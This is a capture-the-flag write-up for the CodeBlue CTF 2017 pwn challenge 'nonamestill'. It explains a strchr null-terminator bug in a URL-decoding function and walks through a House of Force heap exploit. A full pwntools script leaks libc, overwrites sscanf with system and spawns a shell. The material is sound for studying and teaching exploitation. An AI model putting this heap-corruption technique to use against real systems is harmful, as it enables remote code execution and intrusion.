CodeBlue CTF 2017 PWN NOMAMESTILL Write-up

Introduction

This is a pwn challenge on CodeBlue CTF. As a part of my tutorial plan, I take this one as an example on House of Force technique.

Vulnerability Analysis

The source code of this challenge was already given on [1] and I also list the vulnerable part below for analysis.

char *cgiDecodeString (char *text) {
  char *cp, *xp;

  for (cp=text,xp=text; *cp; cp++) {
    if (*cp == '%') {
      if (strchr("0123456789ABCDEFabcdef", *(cp+1))
          && strchr("0123456789ABCDEFabcdef", *(cp+2))) {
        if (islower(*(cp+1)))
          *(cp+1) = toupper(*(cp+1));
        if (islower(*(cp+2)))
          *(cp+2) = toupper(*(cp+2));
        *(xp) = (*(cp+1) >= 'A' ? *(cp+1) - 'A' + 10 : *(cp+1) - '0' ) * 16
          + (*(cp+2) >= 'A' ? *(cp+2) - 'A' + 10 : *(cp+2) - '0');
        xp++;cp+=2;
      }
    } else {
      *(xp++) = *cp;
    }
  }

  memset(xp, 0, cp-xp);
  return text;
}

The vulnerability lies in strchr function at line 11 and 12. To better understand why this is a vulnerability, we have to read the specification of strchr function at first.

Locate first occurrence of character in string
Returns a pointer to the first occurrence of character in the C string str.
The terminating null-character is considered part of the C string. Therefore, it can also be located in order to retrieve a pointer to the end of a string.
[2]
It means that the terminating character (“\x00”) will also be taken as one valid character in “0123456789ABCDEFabcdef”. To be more specific, if the terminating character is located after a ‘%’ in the string the vulnerable function will continue to parse the characters after the terminating character.

In the decoding function, we can find that this function will merge a 3-byte string starting with ‘%’ (e.g. “%A1”) into a single byte string (“\xA1”). It means that this function will move the characters in string forwards. If the function can parse the characters after the terminating character, the attacker can merge characters into current string buffer and do the decoding work at the same time.

Exploitation Plan

With this in mind, we are able to corrupt the size of top_chunk with 0xfffffff1 , apply House of Force to allocate one chunk at 0x804b038 and overwrite sscanf with system to get the shell.

The basic plan is to allocate multiple chunks at first assuring that the size of top_chunk is of size 0x25XX. Then we allocate one more chunk of size 0xa0 to put “0xfffffff1” in the url buffer string and free this chunk. After this, we can overwrite the size of top_chunk to 0xfffffff1. Another side effect of this operation is that the heap address will be “pulled” into the url string buffer of current head. We read this heap address and locate the address of current top_chunk.

Another problem I need to solve is to leak the base address of libc. At first, I try to utilise the freed unsorted chunk or freed large chunk to leak the base address. But I find that the “pulling” operation will always corrupt the bck and fwd pointer (libc base address is unknown) and result in glibc abort in next allocation. So my final plan is to leak the value of stdout (at 0x804b084). Another reason that I pick stdout is that the value at 0x804b080 is 0 (NULL as a next pointer) so that I do not need to bother crafting the next node. With the “pulling” operation of the vulnerability, I overwrite a next pointer of one node to 0x804b080 and leak the value of stdout afterwards.

Exploitation

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./nonamestill");
elif(DEBUG == 2):
    r = process("./nonamestill");
    gdb.attach(r, '''source ./script''');

def create(size, url):
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("size: ");
    r.sendline(str(size));
    r.recvuntil("URL: ");
    r.sendline(url);

def decode(index):
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil("index: ");
    r.sendline(str(index));

def list():
    r.recvuntil(">");
    r.sendline("3");

def delete(index):
    r.recvuntil(">");
    r.sendline("4");
    r.recvuntil("index");
    r.sendline(str(index));

def exploit():
    create(0x2528, "A"*0x251a + "%AA%AA" + "MAGIC" + "%A");
    create(0x2528, "%31%25%00%00"+p32(0x0804b07c) + "AAAA");
    create(0x2528, "11111");

    libc = ELF("./libc.so.6");

    decode(2);
    list();

    r.recvuntil("2: ");
    leakedValue = u32(r.recv(4));
    log.info("leaked value: 0x%x" % leakedValue);
    libcBase = leakedValue - 0x1b0d60;
    log.info("libc base address: 0x%x" % libcBase);

    systemRelAddr = libc.symbols['system'];
    systemAbsAddr = systemRelAddr + libcBase;
    log.info("system addr: 0x%x" % systemAbsAddr);

    for i in range(0, 0x16f):
        create(0x100, "padding");

    create(0x20-8, "A"*0x4 + "MAGIC" +"%AA%AA%AA%AA%A");

    create(0xa0-8, "%00"*4 + p32(0xfffffff1)+"AAAA");
    delete(0);

    decode(0);

    list();

    r.recvuntil("MAGIC");
    r.recv(7);
    leakedValue = u32(r.recv(4));
    log.info("leaked value: 0x%x" % leakedValue);

    topPtr = leakedValue + 0x18;
    log.info("top pointer address: 0x%x" % topPtr);

    evilSize = 0x804b03c  - topPtr - 4*5;
    log.info("eval size: 0x%x" % evilSize);

    create(evilSize, "AAAA");
    create(0x8, p32(systemAbsAddr)+"EFG"+"/bin/sh;");

    r.interactive();

exploit();

Conclusion

This is a very interesting pwn challenge. As Koike (hugeh0ge) says on his write-up, it’s important to know the specifications of a function. I solve this challenge with about 10 hours after reading his write-up. The write-up indeed saves me a lot of time reversing the binary code of the target.

Reference

[1] http://binja.github.io/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/
[2] http://www.cplusplus.com/reference/cstring/strchr/

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.